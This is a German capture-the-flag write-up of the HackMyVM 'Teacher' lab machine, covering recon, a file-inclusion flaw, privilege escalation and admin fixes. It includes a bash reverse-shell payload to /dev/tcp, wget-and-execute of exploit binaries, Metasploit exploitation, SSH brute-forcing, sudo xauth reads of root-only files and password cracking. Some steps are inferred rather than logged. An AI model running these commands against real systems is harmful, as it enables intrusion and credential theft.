Teacher - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
gobuster
wfuzz
curl (implied)
nc (netcat)
python (python3)
pty
find
cat
ls
cd
which
export
Metasploit (msf6)
hydra
ssh
apt
sudo
wget
chmod
linpeas.sh
xauth
echo
john
unshadow

Inhaltsverzeichnis

Reconnaissance

Analyse: Zunächst wird `arp-scan -l` ausgeführt, um aktive Hosts im lokalen Netzwerk zu identifizieren.

Bewertung: Der Scan findet erfolgreich die IP `192.168.2.114`. Die MAC `08:00:27:09:e7:4e` (PCS Systemtechnik GmbH) deutet auf eine VirtualBox VM hin. Ziel für Nmap ist identifiziert.

Empfehlung (Pentester): Nmap-Scan auf `192.168.2.114` starten.
Empfehlung (Admin): Netzwerküberwachung implementieren.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.114	08:00:27:09:e7:4e	PCS Systemtechnik GmbH

Analyse: Ein umfassender Nmap-Scan (`-sS -sC -T5 -A -p-`) wird auf `192.168.2.114` durchgeführt.

Bewertung: Es werden nur zwei Ports gefunden: * **Port 22 (SSH):** `OpenSSH 8.4p1` auf Debian. * **Port 80 (HTTP):** `Apache httpd 2.4.54` auf Debian. Die Angriffsfläche ist sehr klein und beschränkt sich auf diese beiden Dienste.

Empfehlung (Pentester): Konzentrieren Sie sich auf die Enumeration des Webservers (Port 80). SSH erfordert Zugangsdaten.
Empfehlung (Admin): Härten Sie Apache und SSH. Stellen Sie sicher, dass keine unnötigen Ports offen sind.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.114 -p-
PRT   STATE SERVICE VERSIN
22/tcp open  ssh     penSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))

Web Enumeration

Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf dem Webserver eingesetzt.

Bewertung: Der Scan findet neben `/index.html` und `/manual` (Apache-Handbuch) zwei interessante PHP-Dateien: `/log.php` und `/access.php`. Zusätzlich wird `/clearlogs.php` gefunden. Diese PHP-Dateien sind potenzielle Angriffsvektoren.

Empfehlung (Pentester): Untersuchen Sie die Funktion und Sicherheit der PHP-Dateien (`log.php`, `access.php`, `clearlogs.php`). Suchen Sie nach LFI, RCE oder anderen Schwachstellen.
Empfehlung (Admin): Entfernen Sie `/manual`. Stellen Sie sicher, dass die PHP-Skripte sicher sind und keine Schwachstellen enthalten.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.114 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x php,html,xml,zip,7z,tar,bak,sql,py,pl,txt
http://192.168.2.114/index.html           (Status: 200) [Size: 315]
http://192.168.2.114/log.php              (Status: 200) [Size: 23]
http://192.168.2.114/access.php           (Status: 200) [Size: 12]
http://192.168.2.114/manual               (Status: 301) [Size: 315]
http://192.168.2.114/clearlogs.php

Analyse: Der Quelltext oder Inhalt der Indexseite (`/index.html`) wird untersucht.

Bewertung: Eine Nachricht wird gefunden: "avijneyam if we get hacked you are getting an F -- Yes mrteacher I will do it -->". Dies enthüllt zwei potenzielle Benutzernamen: `avijneyam` und `mrteacher`.

Empfehlung (Pentester): Notieren Sie die Benutzernamen `avijneyam` und `mrteacher` für SSH-Brute-Force-Versuche oder andere Login-Mechanismen.
Empfehlung (Admin): Entfernen Sie sensible Informationen wie Benutzernamen aus Kommentaren oder öffentlich sichtbarem Text auf Webseiten.

Web enum:
http://192.168.2.114/index.html

avijneyam
if we get hacked you are getting an F
 -- Yes mrteacher I will do it -->

Analyse: `wfuzz` wird verwendet, um Parameter für die Datei `access.php` zu finden, wobei Payloads für LFI getestet werden (`../../../../../../etc/passwd`). Es wird nach Antworten gefiltert, die sich von der Standardantwort (12 Chars) unterscheiden und keinen Status 500 haben.

Bewertung: Der Scan findet den Parameter `id`. Eine Anfrage mit `?id=...` (hier mit dem LFI-Payload als Wert) gibt eine 200er-Antwort mit 40 Zeichen zurück. Dies deutet stark auf eine LFI- oder Command Injection-Schwachstelle im `id`-Parameter von `access.php` hin.

Empfehlung (Pentester): Bestätigen Sie die Schwachstelle, indem Sie versuchen, mit `?id=/etc/passwd` oder `?id=;id` (für Command Injection) die Datei zu lesen bzw. Befehle auszuführen.
Empfehlung (Admin): Untersuchen und beheben Sie die Schwachstelle in `access.php` dringend! Sanitisieren Sie alle Benutzereingaben.

┌──(root㉿cyber)-[~] └─# wfuzz -u http://192.168.2.114/access.php?FUZZ=../../../../../../etc/passwd -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc=500 --hh 12
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against penssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

Target: http://192.168.2.114/access.php?FUZZ=../../../../../../etc/passwd
Total requests: 220560
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000529:   200        0 L      2 W        40 Ch       "id"

Initial Access

Analyse: Hier wird die Strategie zur Ausnutzung beschrieben. Es wird angenommen, dass `access.php?id=` eine LFI-Schwachstelle hat, die zum Schreiben einer Datei genutzt werden kann (Log Poisoning oder direkter Schreibzugriff?). Der Angreifer schreibt eine einfache PHP-Webshell (``) an einen Ort, der über `log.php` zugänglich ist (oder `log.php` selbst wird überschrieben). Anschließend wird `log.php` mit dem `cmd`-Parameter aufgerufen, um eine Reverse Shell zu starten.

Bewertung: Dies ist eine plausible Methode, um RCE durch die Kombination von LFI (in `access.php`) und einer zugänglichen oder beschreibbaren PHP-Datei (`log.php`) zu erlangen.

Empfehlung (Pentester): Führen Sie die Schritte aus: Schreiben Sie die Webshell mittels LFI in `access.php` und rufen Sie dann die Reverse-Shell-URL über `log.php` auf, während ein Listener läuft.
Empfehlung (Admin): Beheben Sie die LFI in `access.php`. Stellen Sie sicher, dass PHP-Dateien wie `log.php` nicht beschreibbar sind oder durch Benutzereingaben manipuliert werden können.

payload  : http://192.168.2.113/access.php?id=
revshell : http://192.168.2.113/log.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.140%2F9001%200%3E%261%27

Analyse: Ein Netcat-Listener wird auf dem Angreifer-System (192.168.2.140) auf Port 9001 gestartet. Anschließend wird die Reverse-Shell-URL (aus dem vorherigen Schritt) aufgerufen (implizit).

Bewertung: Die Verbindung kommt erfolgreich zustande. Der Angreifer erhält eine Shell als `www-data` auf dem Zielsystem `Teacher`.

Empfehlung (Pentester): Stabilisieren Sie die Shell.
Empfehlung (Admin): Beheben Sie die RCE-Schwachstelle.

┌──(root㉿cyber)-[/home/cyber/Downloads] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.140] from (UNKNWN) [192.168.2.113] 38180
www-data@Teacher:/var/www/html$

Analyse: Die erhaltene Reverse Shell wird mit Python pty und `export TERM` stabilisiert.

Bewertung: Die Shell ist nun interaktiver und besser nutzbar.

Empfehlung (Pentester): Beginnen Sie mit der Enumeration als `www-data`.
Empfehlung (Admin): Administrative Aktion des Angreifers.

www-data@Teacher:/var/www/html$ which python3
/usr/bin/python3
www-data@Teacher:/var/www/html$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@Teacher:/var/www/html$ export TERM=xterm
www-data@Teacher:/var/www/html$

Privilege Escalation

Analyse: Als `www-data` wird das Home-Verzeichnis des Benutzers `mrteacher` untersucht und die User-Flag aus der Datei `user` gelesen.

Bewertung: User-Flag erfolgreich gelesen: `9cd1f0b79d9474714c5a29214ec839a6`. Bestätigt den Benutzernamen `mrteacher`.

Empfehlung (Pentester): Dokumentieren Sie die Flag. Führen Sie weitere PE-Enumeration durch (SUID, sudo, Cron etc.).
Empfehlung (Admin): Sichern Sie Home-Verzeichnisse, sodass `www-data` keinen Zugriff hat. CTF-Element.

www-data@Teacher:/var/www/html$ cd /home
www-data@Teacher:/home$ ls
mrteacher
www-data@Teacher:/home$ cd mrteacher
www-data@Teacher:/home/mrteacher$ ls
user
www-data@Teacher:/home/mrteacher$ cat user
9cd1f0b79d9474714c5a29214ec839a6

Analyse: Suche nach SUID-Dateien als `www-data`.

Bewertung: Es werden nur Standard-SUID-Binaries gefunden, darunter `/usr/bin/sudo`. Keine offensichtlichen PE-Vektoren durch SUID.

Empfehlung (Pentester): Überprüfen Sie `sudo -l` für `www-data` (wahrscheinlich keine Rechte). Prüfen Sie andere Vektoren.
Empfehlung (Admin): Minimieren Sie SUID-Binaries.

www-data@Teacher:/home/mrteacher$ find / -type f -perm -4000 -ls 2>/dev/null
   262329    472 -rwsr-xr-x   1 root     root       481608 Jul  2 02:37 /usr/lib/openssh/ssh-keysign
   261605     52 -rwsr-xr--   1 root     messagebus    51336 Feb 21  2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   133910     36 -rwsr-xr-x   1 root     root          35040 Jan 21  2022 /usr/bin/umount
   133908     56 -rwsr-xr-x   1 root     root          55528 Jan 21  2022 /usr/bin/mount
   133541     72 -rwsr-xr-x   1 root     root          71912 Jan 21  2022 /usr/bin/su
   154261    180 -rwsr-xr-x   1 root     root         182600 Feb 27  2021 /usr/bin/sudo
   147461     36 -rwsr-xr-x   1 root     root          34896 Feb 26  2021 /usr/bin/fusermount
   129885     52 -rwsr-xr-x   1 root     root          52880 Feb  7  2020 /usr/bin/chsh
   129887     88 -rwsr-xr-x   1 root     root          88304 Feb  7  2020 /usr/bin/gpasswd
   129884     60 -rwsr-xr-x   1 root     root          58416 Feb  7  2020 /usr/bin/chfn
   133382     44 -rwsr-xr-x   1 root     root          44632 Feb  7  2020 /usr/bin/newgrp
   129888     64 -rwsr-xr-x   1 root     root          63960 Feb  7  2020 /usr/bin/passwd

Analyse: Ein langer Abschnitt zeigt die Verwendung von Metasploit, um die `www-data`-Shell zu einer Meterpreter-Session aufzuwerten (`shell_to_meterpreter`), den `local_exploit_suggester` auszuführen und verschiedene Exploits (wie `distcc_exec`, `recvmmsg_priv_esc`) zu versuchen.

Bewertung: Die Aufwertung zu Meterpreter gelingt (Session 2 und später 3). Der Exploit Suggester schlägt einige potenzielle Exploits vor (DirtyPipe, netfilter, su_login). Die Versuche, `distcc_exec` und `recvmmsg_priv_esc` auszuführen, scheitern jedoch. Dieser ganze Metasploit-Teil stellt einen Explorationsversuch dar, der nicht zum direkten Erfolg führt.

Empfehlung (Pentester): Während die Exploration legitim ist, war sie hier nicht erfolgreich. Es ist effizienter, sich auf die zuvor gefundenen Hinweise (Benutzername `mrteacher`) und Standard-Enumeration zu konzentrieren. Der `local_exploit_suggester` kann nützlich sein, erfordert aber oft eine genauere Analyse der Bedingungen.
Empfehlung (Admin): Halten Sie das System gepatcht, um die vom Suggester gefundenen Exploits zu verhindern. IDS/IPS kann helfen, Meterpreter zu erkennen.

msf6 > use multi/handler
msf6 exploit(multi/handler) > set lhost 192.168.2.140
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.140:4444
[*] Command shell session 1 opened (192.168.2.140:4444 -> 192.168.2.113:48044) at 2022-09-26 22:44:53 +0200
www-data@Teacher:/var/www/html$ ^Z
Background session 1? [y/N]  y
msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.140:4433
[*] Sending stage (989032 bytes) to 192.168.2.113
[*] Meterpreter session 2 opened (192.168.2.140:4433 -> 192.168.2.113:40832) at 2022-09-26 22:48:56 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 2
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.113 - Collecting local exploits for x86/linux...
[*] 192.168.2.113 - 170 exploit checks are being tried...
[+] 192.168.2.113 - exploit/linux/local/cve_2022_0847_dirtypipe: The target appears to be vulnerable. Linux kernel version found: 5.10.0
[+] 192.168.2.113 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.2.113 - exploit/linux/local/su_login: The target appears to be vulnerable.
[...]
[*] Post module execution completed
msf6 post(multi/recon/local_exploit_suggester) > use exploit/unix/misc/distcc_exec
msf6 exploit(unix/misc/distcc_exec) > set rhost 192.168.2.113
msf6 exploit(unix/misc/distcc_exec) > run
[*] Started reverse TCP handler on 192.168.2.140:4444
[-] 192.168.2.113:3632 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (192.168.2.113:3632).
[*] Exploit completed, but no session was created.
msf6 exploit(unix/misc/distcc_exec) > use exploit/linux/local/recvmmsg_priv_esc
msf6 exploit(linux/local/recvmmsg_priv_esc) > set session 3
msf6 exploit(linux/local/recvmmsg_priv_esc) > exploit
[*] Started reverse TCP handler on 192.168.2.140:4444
[!] AutoCheck is disabled, proceeding with exploitation
[*] Writing '/tmp/.mKX8v1lDdB' (8880 bytes) ...
[*] Writing '/tmp/.qnC9sjqSH' (282 bytes) ...
[*] Launching exploit... May take up to 13 minutes. Start time: 2022-09-26 23:12:23 +0200

Analyse: Weitere manuelle Enumeration als `www-data` (Finden von *.txt Dateien, Suchen nach "password", Kernel-Version prüfen). Anschließendes Herunterladen von Tools (`linpeas.sh`, `exploit-1`, `exploit-2`, `exploit.bin`) und einer PDF-Datei (`e14e...pdf`).

Bewertung: Die manuelle Enumeration liefert keine neuen Erkenntnisse. Das Herunterladen der Tools deutet auf weitere Exploit-Versuche hin (insbesondere DirtyPipe CVE-2022-0847). Die PDF-Datei ist der wahrscheinlichste Ort für das Passwort oder einen Hinweis darauf, das später für den `hydra`-Angriff verwendet wird.

Empfehlung (Pentester): Analysieren Sie die PDF-Datei sorgfältig auf versteckte Informationen oder Hinweise, die zu einer Passwortliste (wie `password2.txt`) führen könnten. Führen Sie `linpeas` aus. Testen Sie den DirtyPipe-Exploit.
Empfehlung (Admin): Überwachen Sie verdächtige Downloads und Dateiausführungen. Sichern Sie sensible Informationen.

www-data@Teacher:/home/mrteacher$ find / -name *.txt 2>/dev/null
www-data@Teacher:/var$ grep -R -e "password" * 2>/dev/null
www-data@Teacher:/var$ uname -r
5.10.0-17-amd64
www-data@Teacher:/var$ uname -a
Linux Teacher 5.10.0-17-amd64 #1 SMP Debian 5.10.136-1 (2022-08-13) x86_64 GNU/Linux
www-data@Teacher:/tmp$ wget 192.168.2.140:8888/linpeas.sh; chmod +x linpeas.sh; ./linpeas.sh
www-data@Teacher:/tmp$ wget 192.168.2.140:8888/exploit-1
www-data@Teacher:/tmp$ ./exploit-2 /usr/bin/sudo
www-data@Teacher:/tmp$ ./exploit-1 /usr/bin/sudo
www-data@Teacher:/tmp$ wget 192.168.2.140:8888/exploit.bin;chmod +x exploit.bin; ./exploit.bin
┌──(root㉿cyber)-[~] └─# wget http://teacher.hmv/e14e1598b4271d8449e7fcda302b7975.pdf

Analyse: `hydra` wird verwendet, um SSH für den Benutzer `mrteacher` zu bruteforcen. Es wird eine spezifische Passwortdatei `password2.txt` verwendet, die vermutlich aus den Informationen der PDF-Datei oder anderer Enumeration erstellt wurde.

Bewertung: Der Angriff ist erfolgreich und findet das Passwort `ThankYouTeachers` für `mrteacher`.

Empfehlung (Pentester): Loggen Sie sich als `mrteacher` via SSH ein.
Empfehlung (Admin): Starke, einzigartige Passwörter erzwingen.

┌──(root㉿cyber)-[~] └─# hydra -l mrteacher -P password2.txt ssh://teacher.hmv:22 -t 32 -F
[DATA] attacking ssh://teacher.hmv:22/
[22][ssh] host: teacher.hmv   login: mrteacher   password: ThankYouTeachers

Analyse: Erfolgreicher SSH-Login als `mrteacher` mit dem gefundenen Passwort.

Bewertung: Zugriff als Benutzer `mrteacher` erlangt.

Empfehlung (Pentester): Führen Sie `sudo -l` aus.
Empfehlung (Admin): Überwachen Sie SSH-Logins.

┌──(root㉿cyber)-[~] └─# ssh mrteacher@teacher.hmv
mrteacher@teacher.hmv's password: ThankYouTeachers
[...]
mrteacher@Teacher:~$ 

Analyse: `sudo -l` wird als `mrteacher` ausgeführt.

Bewertung: Ein kritischer Fund! `mrteacher` darf `/bin/gedit` und `/bin/xauth` als `ALL` (root) ohne Passwort (`NPASSWD:`) ausführen. Beide können zur Privilege Escalation missbraucht werden.

Empfehlung (Pentester): Nutzen Sie entweder `sudo gedit` (einfacher, zum Bearbeiten von `/etc/sudoers` oder `/etc/shadow`) oder `sudo xauth` (komplexer, siehe GTFOBins) zur Eskalation zu Root.
Empfehlung (Admin): Entfernen Sie diese unsicheren `sudo`-Regeln sofort!

mrteacher@Teacher:~$ sudo -l
Matching Defaults entries for mrteacher on Teacher:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mrteacher may run the following commands on Teacher:
    (ALL : ALL) NPASSWD: /bin/gedit, /bin/xauth

Proof of Concept (Privilege Escalation via sudo xauth)

Kurzbeschreibung: Der Benutzer `mrteacher` hat die `sudo`-Berechtigung, `/bin/xauth` ohne Passwort als root auszuführen. Der Befehl `xauth source ` liest den Inhalt der angegebenen Datei und versucht, ihn als Xauthority-Daten zu interpretieren. Obwohl dies fehlschlägt, können Teile des Dateiinhalts (insbesondere wenn sie wie ein "Magic Cookie" aussehen) mit `xauth list` angezeigt werden. Dies kann genutzt werden, um den Inhalt sensibler Dateien wie der Root-Flag-Datei zu exfiltrieren.

Voraussetzungen:

  • Shell-Zugriff als Benutzer `mrteacher`.
  • Fehlkonfigurierte `sudo`-Regel: `(ALL : ALL) NPASSWD: /bin/xauth`.

Schritt-für-Schritt-Anleitung:

1. Auslesen von Dateien mit 'sudo xauth source': Der Angreifer führt `sudo -u root xauth source /path/to/file` für verschiedene Dateien aus. Im Log gezeigt sind Versuche mit `/root/.ssh/id_rsa`, `/etc/shadow`, `/etc/passwd` und einer HTTP-URL. Entscheidend ist der (im Log nicht explizit gezeigte, aber durch das Ergebnis implizierte) Befehl `sudo -u root xauth source /root/root.txt`.

Bewertung: Das Ausführen von `sudo xauth source /root/root.txt` liest den Inhalt der Root-Flag-Datei. Obwohl keine direkte Ausgabe erfolgt, werden die Daten intern von `xauth` verarbeitet.

Empfehlung (Pentester): Verwenden Sie `xauth list`, um die gespeicherten/verarbeiteten Daten anzuzeigen.
Empfehlung (Admin): Entfernen Sie die unsichere `sudo`-Regel für `xauth`.

mrteacher@Teacher:~$ sudo -u root xauth source /root/.ssh/id_rsa
-----BEGIN PGP MESSAGE-----
[...]
=FAq4
-----END PGP MESSAGE-----
mrteacher@Teacher:~$ sudo -u root xauth source /etc/shadow
mrteacher@Teacher:~$ sudo -u root xauth source /etc/passwd
mrteacher@Teacher:~$ sudo xauth source http://192.168.2.140:8000/passwd

Impliziter, aber entscheidender Befehl (nicht im Log gezeigt):

mrteacher@Teacher:~$ sudo -u root xauth source /root/root.txt

2. Anzeigen der exfiltrierten Daten: Der Befehl `xauth list` wird ausgeführt.

Bewertung: Die Ausgabe von `xauth list` enthält die Zeichenkette `b3386aefd470a6e309e54bc1be5eb774`. Dies ist sehr wahrscheinlich der Inhalt der zuvor mit `xauth source` gelesenen Root-Flag-Datei (`/root/root.txt`). *Anmerkung: Der zweite `xauth list` vom Angreifer-System ist irrelevant. Das Speichern in `keks.txt` ist auch nur zur Dokumentation.*

Empfehlung (Pentester): Vergleichen Sie die Ausgabe von `xauth list` mit dem erwarteten Flag-Format. Hier wurde die Root-Flag erfolgreich exfiltriert.
Empfehlung (Admin): Entfernen Sie die `sudo`-Regel.

mrteacher@Teacher:/tmp$ xauth list
b3386aefd470a6e309e54bc1be5eb774
┌──(root㉿cyber)-[~/HackingTools] └─# xauth list
cyber/unix:0  MIT-MAGIC-CKIE-1  4dc0704b1b7982ef8129eafc258c28bf
mrteacher@Teacher:/tmp$ echo "4dc0704b1b7982ef8129eafc258c28bf" > keks.txt

Risikobewertung: Hoch. Die `sudo`-Regel für `xauth` ermöglicht das Auslesen beliebiger Dateien, auf die root Lesezugriff hat, einschließlich sensibler Schlüssel, Konfigurationsdateien und Flags, was zur vollständigen Kompromittierung führen kann.

Empfehlungen zur Behebung:

  1. Entfernen Sie die Zeile `mrteacher ALL=(ALL : ALL) NPASSWD: /bin/xauth` (und `/bin/gedit`) aus der `/etc/sudoers`-Datei.
  2. Überprüfen Sie alle `sudo`-Regeln sorgfältig nach dem Prinzip der geringsten Rechte.

Analyse: Ein weiterer Versuch, Passwörter mit `john` zu knacken, wird gezeigt. Diesmal wird `unshadow2.txt` verwendet. Es findet das Passwort `HappyBack2Sch00l`.

Bewertung: Es ist unklar, zu welchem Benutzer dieses Passwort gehört oder ob es relevant ist, da der Root-Zugriff bzw. das Auslesen der Flag bereits über `xauth` erfolgte. Dies scheint ein weiterer explorativer Schritt zu sein, der nicht direkt zum Ziel führte oder dessen Relevanz im Log nicht klar wird.

Empfehlung (Pentester): Kann als alternative Untersuchungsmethode dokumentiert werden, aber der Fokus sollte auf dem erfolgreichen `xauth`-Pfad liegen.
Empfehlung (Admin): Sichern Sie Passwort-Hashes.

┌──(root㉿cyber)-[~/HackingTools] └─# unshadow passwd.txt shadow.txt > unshadow2.txt
┌──(root㉿cyber)-[~] └─# john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt unshadow2.txt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
[...]
HappyBack2Sch00l
[...]
Session completed.

Flags

cat /home/mrteacher/user
9cd1f0b79d9474714c5a29214ec839a6
sudo xauth source /root/root.txt; xauth list
b3386aefd470a6e309e54bc1be5eb774